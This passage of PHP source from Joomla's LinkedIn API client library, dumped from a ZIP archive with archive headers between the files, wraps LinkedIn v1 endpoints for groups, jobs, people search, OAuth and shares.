$xml = '<post><title>' . $title .
'</title><summary>' . $summary .
'</summary></post>';
// Build the request path.
$path = $this->getOption('api.url') . $base;
$header['Content-Type'] = 'text/xml';
// Send the request.
$response = $this->oauth->oauthRequest($path, 'POST',
$parameters, $xml, $header);
// Return the post id.
$response = explode('posts/',
$response->headers['Location']);
return $response[1];
}
/**
* Method to like or unlike a post.
*
* @param string $postId The unique identifier for a group.
* @param boolean $like True to like post, false otherwise.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
private function _likeUnlike($postId, $like)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the success response code.
$this->oauth->setOption('success_code', 204);
// Set the API base
$base = '/v1/posts/' . $postId .
'/relation-to-viewer/is-liked';
// Build xml.
$xml = '<is-liked>' . $this->booleanToString($like) .
'</is-liked>';
// Build the request path.
$path = $this->getOption('api.url') . $base;
$header['Content-Type'] = 'text/xml';
// Send the request.
$response = $this->oauth->oauthRequest($path, 'PUT',
$parameters, $xml, $header);
return $response;
}
/**
* Method used to like a post.
*
* @param string $postId The unique identifier for a group.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function likePost($postId)
{
return $this->_likeUnlike($postId, true);
}
/**
* Method used to unlike a post.
*
* @param string $postId The unique identifier for a group.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function unlikePost($postId)
{
return $this->_likeUnlike($postId, false);
}
/**
* Method to follow or unfollow a post.
*
* @param string $postId The unique identifier for a group.
* @param boolean $follow True to like post, false otherwise.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
private function _followUnfollow($postId, $follow)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the success response code.
$this->oauth->setOption('success_code', 204);
// Set the API base
$base = '/v1/posts/' . $postId .
'/relation-to-viewer/is-following';
// Build xml.
$xml = '<is-following>' .
$this->booleanToString($follow) . '</is-following>';
// Build the request path.
$path = $this->getOption('api.url') . $base;
$header['Content-Type'] = 'text/xml';
// Send the request.
$response = $this->oauth->oauthRequest($path, 'PUT',
$parameters, $xml, $header);
return $response;
}
/**
* Method used to follow a post.
*
* @param string $postId The unique identifier for a group.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function followPost($postId)
{
return $this->_followUnfollow($postId, true);
}
/**
* Method used to unfollow a post.
*
* @param string $postId The unique identifier for a group.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function unfollowPost($postId)
{
return $this->_followUnfollow($postId, false);
}
/**
* Method to flag a post as a Promotion or Job.
*
* @param string $postId The unique identifier for a group.
* @param string $flag Flag as a 'promotion' or
'job'.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function flagPost($postId, $flag)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the success response code.
$this->oauth->setOption('success_code', 204);
// Set the API base
$base = '/v1/posts/' . $postId . '/category/code';
// Build xml.
$xml = '<code>' . $flag . '</code>';
// Build the request path.
$path = $this->getOption('api.url') . $base;
$header['Content-Type'] = 'text/xml';
// Send the request.
$response = $this->oauth->oauthRequest($path, 'PUT',
$parameters, $xml, $header);
return $response;
}
/**
* Method to delete a post if the current user is the creator or flag it
as inappropriate otherwise.
*
* @param string $postId The unique identifier for a group.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function deletePost($postId)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the success response code.
$this->oauth->setOption('success_code', 204);
// Set the API base
$base = '/v1/posts/' . $postId;
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'DELETE',
$parameters);
return $response;
}
/**
* Method to access the comments resource.
*
* @param string $commentId The unique identifier for a comment.
* @param string $fields Request fields beyond the default ones.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function getComment($commentId, $fields = null)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = '/v1/comments/' . $commentId;
$data['format'] = 'json';
// Check if fields is specified.
if ($fields)
{
$base .= ':' . $fields;
}
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'GET',
$parameters, $data);
return json_decode($response->body);
}
/**
* Method to add a comment to a post
*
* @param string $postId The unique identifier for a group.
* @param string $comment The post comment's text.
*
* @return string The created comment's id.
*
* @since 3.2.0
*/
public function addComment($postId, $comment)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the success response code.
$this->oauth->setOption('success_code', 201);
// Set the API base
$base = '/v1/posts/' . $postId . '/comments';
// Build xml.
$xml = '<comment><text>' . $comment .
'</text></comment>';
// Build the request path.
$path = $this->getOption('api.url') . $base;
$header['Content-Type'] = 'text/xml';
// Send the request.
$response = $this->oauth->oauthRequest($path, 'POST',
$parameters, $xml, $header);
// Return the comment id.
$response = explode('comments/',
$response->headers['Location']);
return $response[1];
}
/**
* Method to delete a comment if the current user is the creator or flag
it as inappropriate otherwise.
*
* @param string $commentId The unique identifier for a group.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function deleteComment($commentId)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the success response code.
$this->oauth->setOption('success_code', 204);
// Set the API base
$base = '/v1/comments/' . $commentId;
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'DELETE',
$parameters);
return $response;
}
/**
* Method to get suggested groups for a user.
*
* @param string $personId The unique identifier for a user.
* @param string $fields Request fields beyond the default ones.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function getSuggested($personId = null, $fields = null)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = '/v1/people/';
// Check if person_id is specified.
if ($personId)
{
$base .= $personId . '/suggestions/groups';
}
else
{
$base .= '~/suggestions/groups';
}
$data['format'] = 'json';
// Check if fields is specified.
if ($fields)
{
$base .= ':' . $fields;
}
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'GET',
$parameters, $data);
return json_decode($response->body);
}
/**
* Method to delete a group suggestion for a user.
*
* @param string $suggestionId The unique identifier for a suggestion.
* @param string $personId The unique identifier for a user.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function deleteSuggestion($suggestionId, $personId = null)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the success response code.
$this->oauth->setOption('success_code', 204);
// Set the API base
$base = '/v1/people/';
// Check if person_id is specified.
if ($personId)
{
$base .= $personId . '/suggestions/groups/' . $suggestionId;
}
else
{
$base .= '~/suggestions/groups/' . $suggestionId;
}
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'DELETE',
$parameters);
return $response;
}
}
PKNn�[��|�"�"linkedin/jobs.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Linkedin
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
/**
* Linkedin API Jobs class for the Joomla Platform.
*
* @since 3.2.0
*/
class JLinkedinJobs extends JLinkedinObject
{
/**
* Method to retrieve detailed information about a job.
*
* @param integer $id The unique identifier for a job.
* @param string $fields Request fields beyond the default ones.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function getJob($id, $fields = null)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = '/v1/jobs/' . $id;
// Set request parameters.
$data['format'] = 'json';
// Check if fields is specified.
if ($fields)
{
$base .= ':' . $fields;
}
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'GET',
$parameters, $data);
return json_decode($response->body);
}
/**
* Method to get a list of bookmarked jobs for the current member.
*
* @param string $fields Request fields beyond the default ones.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function getBookmarked($fields = null)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = '/v1/people/~/job-bookmarks';
// Set request parameters.
$data['format'] = 'json';
// Check if fields is specified.
if ($fields)
{
$base .= ':' . $fields;
}
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'GET',
$parameters, $data);
return json_decode($response->body);
}
/**
* Method to bookmark a job to the current user's account.
*
* @param integer $id The unique identifier for a job.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function bookmark($id)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the success response code.
$this->oauth->setOption('success_code', 201);
// Set the API base
$base = '/v1/people/~/job-bookmarks';
// Build xml.
$xml = '<job-bookmark><job><id>' . $id .
'</id></job></job-bookmark>';
// Build the request path.
$path = $this->getOption('api.url') . $base;
$header['Content-Type'] = 'text/xml';
// Send the request.
$response = $this->oauth->oauthRequest($path, 'POST',
$parameters, $xml, $header);
return $response;
}
/**
* Method to delete a bookmark.
*
* @param integer $id The unique identifier for a job.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function deleteBookmark($id)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the success response code.
$this->oauth->setOption('success_code', 204);
// Set the API base
$base = '/v1/people/~/job-bookmarks/' . $id;
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'DELETE',
$parameters);
return $response;
}
/**
* Method to retrieve job suggestions for the current user.
*
* @param string $fields Request fields beyond the default ones.
* @param integer $start Starting location within the result set for
paginated returns.
* @param integer $count The number of results returned.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function getSuggested($fields = null, $start = 0, $count = 0)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = '/v1/people/~/suggestions/job-suggestions';
$data['format'] = 'json';
// Check if fields is specified.
if ($fields)
{
$base .= ':' . $fields;
}
// Check if start is specified.
if ($start > 0)
{
$data['start'] = $start;
}
// Check if count is specified.
if ($count > 0)
{
$data['count'] = $count;
}
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'GET',
$parameters, $data);
return json_decode($response->body);
}
/**
* Method to search across LinkedIn's job postings.
*
* @param string $fields Request fields beyond the default ones.
* @param string $keywords Members who have all the keywords
anywhere in their profile.
* @param string $companyName Jobs with a matching company name.
* @param string $jobTitle Matches jobs with the same job title.
* @param string $countryCode Matches members with a location in a
specific country. Values are defined in by ISO 3166 standard.
* Country codes must be in all lower
case.
* @param integer $postalCode Matches members centered around a
Postal Code. Must be combined with the country-code parameter.
* Not supported for all countries.
* @param integer $distance Matches members within a distance from
a central point. This is measured in miles.
* @param string $facets Facet buckets to return, e.g. location.
* @param array $facet Array of facet values to search over.
Contains values for company, date-posted, location, job-function,
* industry, and salary, in exactly this
order, null must be specified for an element if no value.
* @param integer $start Starting location within the result set
for paginated returns.
* @param integer $count The number of results returned.
* @param string $sort Controls the search result order. There
are four options: R (relationship), DA (date-posted-asc),
* DD (date-posted-desc).
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function search($fields = null, $keywords = null, $companyName =
null, $jobTitle = null, $countryCode = null, $postalCode = null,
$distance = null, $facets = null, $facet = null, $start = 0, $count = 0,
$sort = null)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = '/v1/job-search';
$data['format'] = 'json';
// Check if fields is specified.
if ($fields)
{
$base .= ':' . $fields;
}
// Check if keywords is specified.
if ($keywords)
{
$data['keywords'] = $keywords;
}
// Check if company-name is specified.
if ($companyName)
{
$data['company-name'] = $companyName;
}
// Check if job-title is specified.
if ($jobTitle)
{
$data['job-title'] = $jobTitle;
}
// Check if country_code is specified.
if ($countryCode)
{
$data['country-code'] = $countryCode;
}
// Check if postal_code is specified.
if ($postalCode)
{
$data['postal-code'] = $postalCode;
}
// Check if distance is specified.
if ($distance)
{
$data['distance'] = $distance;
}
// Check if facets is specified.
if ($facets)
{
$data['facets'] = $facets;
}
// Check if facet is specified.
if ($facet)
{
$data['facet'] = array();
for ($i = 0, $iMax = count($facet); $i < $iMax; $i++)
{
if ($facet[$i])
{
if ($i == 0)
{
$data['facet'][] = 'company,' .
$this->oauth->safeEncode($facet[$i]);
}
if ($i == 1)
{
$data['facet'][] = 'date-posted,' . $facet[$i];
}
if ($i == 2)
{
$data['facet'][] = 'location,' . $facet[$i];
}
if ($i == 3)
{
$data['facet'][] = 'job-function,' .
$this->oauth->safeEncode($facet[$i]);
}
if ($i == 4)
{
$data['facet'][] = 'industry,' . $facet[$i];
}
if ($i == 5)
{
$data['facet'][] = 'salary,' . $facet[$i];
}
}
}
}
// Check if start is specified.
if ($start > 0)
{
$data['start'] = $start;
}
// Check if count is specified.
if ($count > 0)
{
$data['count'] = $count;
}
// Check if sort is specified.
if ($sort)
{
$data['sort'] = $sort;
}
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'GET',
$parameters, $data);
return json_decode($response->body);
}
}
PKOn�[a�o��linkedin/linkedin.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Linkedin
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
use Joomla\Registry\Registry;
/**
* Joomla Platform class for interacting with a Linkedin API instance.
*
* @since 3.2.0
*/
class JLinkedin
{
/**
* @var Registry Options for the Linkedin object.
* @since 3.2.0
*/
protected $options;
/**
* @var JHttp The HTTP client object to use in sending HTTP requests.
* @since 3.2.0
*/
protected $client;
/**
* @var JLinkedinOAuth The OAuth client.
* @since 3.2.0
*/
protected $oauth;
/**
* @var JLinkedinPeople Linkedin API object for people.
* @since 3.2.0
*/
protected $people;
/**
* @var JLinkedinGroups Linkedin API object for groups.
* @since 3.2.0
*/
protected $groups;
/**
* @var JLinkedinCompanies Linkedin API object for companies.
* @since 3.2.0
*/
protected $companies;
/**
* @var JLinkedinJobs Linkedin API object for jobs.
* @since 3.2.0
*/
protected $jobs;
/**
* @var JLinkedinStream Linkedin API object for social stream.
* @since 3.2.0
*/
protected $stream;
/**
* @var JLinkedinCommunications Linkedin API object for
communications.
* @since 3.2.0
*/
protected $communications;
/**
* Constructor.
*
* @param JLinkedinOauth $oauth OAuth object
* @param Registry $options Linkedin options object.
* @param JHttp $client The HTTP client object.
*
* @since 3.2.0
*/
public function __construct(JLinkedinOauth $oauth = null, Registry
$options = null, JHttp $client = null)
{
$this->oauth = $oauth;
$this->options = isset($options) ? $options : new Registry;
$this->client = isset($client) ? $client : new
JHttp($this->options);
// Setup the default API url if not already set.
$this->options->def('api.url',
'https://api.linkedin.com');
}
/**
* Magic method to lazily create API objects
*
* @param string $name Name of property to retrieve
*
* @return JLinkedinObject Linkedin API object (statuses, users,
favorites, etc.).
*
* @since 3.2.0
* @throws InvalidArgumentException
*/
public function __get($name)
{
$class = 'JLinkedin' . ucfirst($name);
if (class_exists($class))
{
if (false == isset($this->$name))
{
$this->$name = new $class($this->options, $this->client,
$this->oauth);
}
return $this->$name;
}
throw new InvalidArgumentException(sprintf('Argument %s produced an
invalid class name: %s', $name, $class));
}
/**
* Get an option from the JLinkedin instance.
*
* @param string $key The name of the option to get.
*
* @return mixed The option value.
*
* @since 3.2.0
*/
public function getOption($key)
{
return $this->options->get($key);
}
/**
* Set an option for the Linkedin instance.
*
* @param string $key The name of the option to set.
* @param mixed $value The option value to set.
*
* @return JLinkedin This object for method chaining.
*
* @since 3.2.0
*/
public function setOption($key, $value)
{
$this->options->set($key, $value);
return $this;
}
}
PKOn�[".��I
I
linkedin/oauth.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Linkedin
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
use Joomla\Registry\Registry;
/**
* Joomla Platform class for generating Linkedin API access token.
*
* @since 3.2.0
*/
class JLinkedinOauth extends JOAuth1Client
{
/**
* @var Registry Options for the JLinkedinOauth object.
* @since 3.2.0
*/
protected $options;
/**
* Constructor.
*
* @param Registry $options JLinkedinOauth options object.
* @param JHttp $client The HTTP client object.
* @param JInput $input The input object
*
* @since 3.2.0
*/
public function __construct(Registry $options = null, JHttp $client =
null, JInput $input = null)
{
$this->options = isset($options) ? $options : new Registry;
$this->options->def('accessTokenURL',
'https://www.linkedin.com/uas/oauth/accessToken');
$this->options->def('authenticateURL',
'https://www.linkedin.com/uas/oauth/authenticate');
$this->options->def('authoriseURL',
'https://www.linkedin.com/uas/oauth/authorize');
$this->options->def('requestTokenURL',
'https://www.linkedin.com/uas/oauth/requestToken');
// Call the JOauthV1aclient constructor to setup the object.
parent::__construct($this->options, $client, $input);
}
/**
* Method to verify if the access token is valid by making a request to an
API endpoint.
*
* @return boolean Returns true if the access token is valid and false
otherwise.
*
* @since 3.2.0
*/
public function verifyCredentials()
{
$token = $this->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
$data['format'] = 'json';
// Set the API url.
$path = 'https://api.linkedin.com/v1/people::(~)';
// Send the request.
$response = $this->oauthRequest($path, 'GET', $parameters,
$data);
// Verify response
if ($response->code == 200)
{
return true;
}
else
{
return false;
}
}
/**
* Method to validate a response.
*
* @param string $url The request URL.
* @param JHttpResponse $response The response to validate.
*
* @return void
*
* @since 3.2.0
* @throws DomainException
*/
public function validateResponse($url, $response)
{
if (!$code = $this->getOption('success_code'))
{
$code = 200;
}
if (strpos($url, '::(~)') === false &&
$response->code != $code)
{
if ($error = json_decode($response->body))
{
throw new DomainException('Error code ' .
$error->errorCode . ' received with message: ' .
$error->message . '.');
}
else
{
throw new DomainException($response->body);
}
}
}
/**
* Method used to set permissions.
*
* @param mixed $scope String or an array of string containing
permissions.
*
* @return JLinkedinOauth This object for method chaining
*
* @link https://developer.linkedin.com/documents/authentication
* @since 3.2.0
*/
public function setScope($scope)
{
$this->setOption('scope', $scope);
return $this;
}
/**
* Method to get the current scope
*
* @return string String or an array of string containing permissions.
*
* @since 3.2.0
*/
public function getScope()
{
return $this->getOption('scope');
}
}
PKOn�[V�p���linkedin/object.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Linkedin
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
use Joomla\Registry\Registry;
/**
* Linkedin API object class for the Joomla Platform.
*
* @since 3.2.0
*/
abstract class JLinkedinObject
{
/**
* @var Registry Options for the Linkedin object.
* @since 3.2.0
*/
protected $options;
/**
* @var JHttp The HTTP client object to use in sending HTTP requests.
* @since 3.2.0
*/
protected $client;
/**
* @var JLinkedinOAuth The OAuth client.
* @since 3.2.0
*/
protected $oauth;
/**
* Constructor.
*
* @param Registry $options Linkedin options object.
* @param JHttp $client The HTTP client object.
* @param JLinkedinOAuth $oauth The OAuth client.
*
* @since 3.2.0
*/
public function __construct(Registry $options = null, JHttp $client =
null, JLinkedinOAuth $oauth = null)
{
$this->options = isset($options) ? $options : new Registry;
$this->client = isset($client) ? $client : new
JHttp($this->options);
$this->oauth = $oauth;
}
/**
* Method to convert boolean to string.
*
* @param boolean $bool The boolean value to convert.
*
* @return string String with the converted boolean.
*
* @since 3.2.0
*/
public function booleanToString($bool)
{
if ($bool)
{
return 'true';
}
else
{
return 'false';
}
}
/**
* Get an option from the JLinkedinObject instance.
*
* @param string $key The name of the option to get.
*
* @return mixed The option value.
*
* @since 3.2.0
*/
public function getOption($key)
{
return $this->options->get($key);
}
/**
* Set an option for the JLinkedinObject instance.
*
* @param string $key The name of the option to set.
* @param mixed $value The option value to set.
*
* @return JLinkedinObject This object for method chaining.
*
* @since 3.2.0
*/
public function setOption($key, $value)
{
$this->options->set($key, $value);
return $this;
}
}
PKOn�[u�6�((linkedin/people.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Linkedin
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
/**
* Linkedin API People class for the Joomla Platform.
*
* @since 3.2.0
*/
class JLinkedinPeople extends JLinkedinObject
{
/**
* Method to get a member's profile.
*
* @param string $id Member id of the profile you want.
* @param string $url The public profile URL.
* @param string $fields Request fields beyond the default ones.
* @param string $type Choosing public or standard profile.
* @param string $language A comma separated list of locales ordered
from highest to lowest preference.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function getProfile($id = null, $url = null, $fields = null, $type
= 'standard', $language = null)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = '/v1/people/';
$data['format'] = 'json';
// Check if a member id is specified.
if ($id)
{
$base .= 'id=' . $id;
}
elseif (!$url)
{
$base .= '~';
}
// Check if profile url is specified.
if ($url)
{
$base .= 'url=' . $this->oauth->safeEncode($url);
// Choose public profile
if (!strcmp($type, 'public'))
{
$base .= ':public';
}
}
// Check if fields is specified.
if ($fields)
{
$base .= ':' . $fields;
}
// Check if language is specified.
$header = array();
if ($language)
{
$header = array('Accept-Language' => $language);
}
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'GET',
$parameters, $data, $header);
return json_decode($response->body);
}
/**
* Method to get a list of connections for a user who has granted access
to his/her account.
*
* @param string $fields Request fields beyond the default
ones.
* @param integer $start Starting location within the result
set for paginated returns.
* @param integer $count The number of results returned.
* @param string $modified Values are updated or new.
* @param string $modifiedSince Value as a Unix time stamp of
milliseconds since epoch.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function getConnections($fields = null, $start = 0, $count = 500,
$modified = null, $modifiedSince = null)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = '/v1/people/~/connections';
$data['format'] = 'json';
// Check if fields is specified.
if ($fields)
{
$base .= ':' . $fields;
}
// Check if start is specified.
if ($start > 0)
{
$data['start'] = $start;
}
// Check if count is specified.
if ($count != 500)
{
$data['count'] = $count;
}
// Check if modified is specified.
if ($modified)
{
$data['modified'] = $modified;
}
// Check if modified_since is specified.
if ($modifiedSince)
{
$data['modified-since'] = $modifiedSince;
}
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'GET',
$parameters, $data);
return json_decode($response->body);
}
/**
* Method to get information about people.
*
* @param string $fields Request fields beyond the default
ones. provide 'api-standard-profile-request'
* field for out of network profiles.
* @param string $keywords Members who have all the keywords
anywhere in their profile.
* @param string $firstName Members with a matching first name.
Matches must be exact.
* @param string $lastName Members with a matching last name.
Matches must be exactly.
* @param string $companyName Members who have a matching company
name on their profile.
* @param boolean $currentCompany A value of true matches members who
currently work at the company specified in the company-name
* parameter.
* @param string $title Matches members with that title on
their profile.
* @param boolean $currentTitle A value of true matches members
whose title is currently the one specified in the title-name parameter.
* @param string $schoolName Members who have a matching school
name on their profile.
* @param string $currentSchool A value of true matches members who
currently attend the school specified in the school-name parameter.
* @param string $countryCode Matches members with a location in a
specific country. Values are defined in by ISO 3166 standard.
* Country codes must be in all lower
case.
* @param integer $postalCode Matches members centered around a
Postal Code. Must be combined with the country-code parameter.
* Not supported for all countries.
* @param integer $distance Matches members within a distance
from a central point. This is measured in miles.
* @param string $facets Facet buckets to return, e.g.
location.
* @param array $facet Array of facet values to search
over. Contains values for location, industry, network, language,
* current-company, past-company and
school, in exactly this order,
* null must be specified for an
element if no value.
* @param integer $start Starting location within the result
set for paginated returns.
* @param integer $count The number of results returned.
* @param string $sort Controls the search result order.
There are four options: connections, recommenders,
* distance and relevance.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function search($fields = null, $keywords = null, $firstName =
null, $lastName = null, $companyName = null,
$currentCompany = null, $title = null, $currentTitle = null, $schoolName
= null, $currentSchool = null, $countryCode = null,
$postalCode = null, $distance = null, $facets = null, $facet = null,
$start = 0, $count = 10, $sort = null)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = '/v1/people-search';
$data['format'] = 'json';
// Check if fields is specified.
if ($fields)
{
$base .= ':' . $fields;
}
// Check if keywords is specified.
if ($keywords)
{
$data['keywords'] = $keywords;
}
// Check if first_name is specified.
if ($firstName)
{
$data['first-name'] = $firstName;
}
// Check if last_name is specified.
if ($lastName)
{
$data['last-name'] = $lastName;
}
// Check if company-name is specified.
if ($companyName)
{
$data['company-name'] = $companyName;
}
// Check if current_company is specified.
if ($currentCompany)
{
$data['current-company'] = $currentCompany;
}
// Check if title is specified.
if ($title)
{
$data['title'] = $title;
}
// Check if current_title is specified.
if ($currentTitle)
{
$data['current-title'] = $currentTitle;
}
// Check if school_name is specified.
if ($schoolName)
{
$data['school-name'] = $schoolName;
}
// Check if current_school is specified.
if ($currentSchool)
{
$data['current-school'] = $currentSchool;
}
// Check if country_code is specified.
if ($countryCode)
{
$data['country-code'] = $countryCode;
}
// Check if postal_code is specified.
if ($postalCode)
{
$data['postal-code'] = $postalCode;
}
// Check if distance is specified.
if ($distance)
{
$data['distance'] = $distance;
}
// Check if facets is specified.
if ($facets)
{
$data['facets'] = $facets;
}
// Check if facet is specified.
if ($facet)
{
$data['facet'] = array();
for ($i = 0, $iMax = count($facet); $i < $iMax; $i++)
{
if ($facet[$i])
{
if ($i == 0)
{
$data['facet'][] = 'location,' . $facet[$i];
}
if ($i == 1)
{
$data['facet'][] = 'industry,' . $facet[$i];
}
if ($i == 2)
{
$data['facet'][] = 'network,' . $facet[$i];
}
if ($i == 3)
{
$data['facet'][] = 'language,' . $facet[$i];
}
if ($i == 4)
{
$data['facet'][] = 'current-company,' .
$facet[$i];
}
if ($i == 5)
{
$data['facet'][] = 'past-company,' . $facet[$i];
}
if ($i == 6)
{
$data['facet'][] = 'school,' . $facet[$i];
}
}
}
}
// Check if start is specified.
if ($start > 0)
{
$data['start'] = $start;
}
// Check if count is specified.
if ($count != 10)
{
$data['count'] = $count;
}
// Check if sort is specified.
if ($sort)
{
$data['sort'] = $sort;
}
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'GET',
$parameters, $data);
if (strpos($fields, 'api-standard-profile-request') === false)
{
return json_decode($response->body);
}
// Get header name.
$name = explode('"name": "',
$response->body);
$name = explode('"', $name[1]);
$name = $name[0];
// Get header value.
$value = explode('"value": "',
$response->body);
$value = explode('"', $value[1]);
$value = $value[0];
// Get request url.
$url = explode('"url": "', $response->body);
$url = explode('"', $url[1]);
$url = $url[0];
// Build header for out of network profile.
$header[$name] = $value;
// Send the request.
$response = $this->oauth->oauthRequest($url, 'GET',
$parameters, $data, $header);
return json_decode($response->body);
}
}
PKOn�[;"�(99linkedin/stream.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Linkedin
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
/**
* Linkedin API Social Stream class for the Joomla Platform.
*
* @since 3.2.0
*/
class JLinkedinStream extends JLinkedinObject
{
/**
* Method to add a new share. Note: post must contain comment and/or
(title and url).
*
* @param string $visibility One of anyone: all members or
connections-only: connections only.
* @param string $comment Text of member's comment.
* @param string $title Title of shared document.
* @param string $url URL for shared content.
* @param string $image URL for image of shared content.
* @param string $description Description of shared content.
* @param boolean $twitter True to have LinkedIn pass the status
message along to a member's tethered Twitter account.
*
* @return array The decoded JSON response
*
* @since 3.2.0
* @throws RuntimeException
*/
public function share($visibility, $comment = null, $title = null, $url =
null, $image = null, $description = null, $twitter = false)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the success response code.
$this->oauth->setOption('success_code', 201);
// Set the API base
$base = '/v1/people/~/shares';
// Check if twitter is true.
if ($twitter)
{
$base .= '?twitter-post=true';
}
// Build xml.
$xml = '<share>
<visibility>
<code>' . $visibility . '</code>
</visibility>';
// Check if comment specified.
if ($comment)
{
$xml .= '<comment>' . $comment .
'</comment>';
}
// Check if title and url are specified.
if ($title && $url)
{
$xml .= '<content>
<title>' . $title . '</title>
<submitted-url>' . $url .
'</submitted-url>';
// Check if image is specified.
if ($image)
{
$xml .= '<submitted-image-url>' . $image .
'</submitted-image-url>';
}
// Check if descrption id specified.
if ($description)
{
$xml .= '<description>' . $description .
'</description>';
}
$xml .= '</content>';
}
elseif (!$comment)
{
throw new RuntimeException('Post must contain comment and/or (title
and url).');
}
$xml .= '</share>';
// Build the request path.
$path = $this->getOption('api.url') . $base;
$header['Content-Type'] = 'text/xml';
// Send the request.
$response = $this->oauth->oauthRequest($path, 'POST',
$parameters, $xml, $header);
return $response;
}
/**
